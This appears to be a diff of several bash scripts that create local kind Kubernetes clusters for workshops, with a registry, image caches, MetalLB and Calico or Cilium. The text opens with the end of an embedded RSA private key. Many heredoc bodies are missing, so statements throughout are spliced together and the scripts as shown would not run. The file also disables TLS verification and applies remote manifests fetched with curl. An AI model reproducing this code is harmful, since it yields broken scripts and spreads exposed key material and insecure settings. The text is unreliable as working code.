+0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set 